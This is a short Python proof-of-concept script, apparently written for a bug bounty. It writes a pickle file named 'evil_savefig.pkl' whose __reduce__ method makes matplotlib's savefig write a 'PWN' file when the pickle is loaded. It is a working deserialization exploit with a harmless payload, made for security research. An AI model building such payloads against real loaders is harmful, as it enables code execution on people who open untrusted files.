import pickle, functools OUT = r"D:\0projects\bountykimi\tmp\artifacts\evil_savefig.pkl" class E: def __reduce__(self): import matplotlib.pyplot as plt return (functools.partial(plt.savefig, r"C:/Users/uozer/AppData/Local/Temp/opencode/savefig_PWN.png"), ()) pickle.dump({"e": E()}, open(OUT, "wb")) print("gen ok")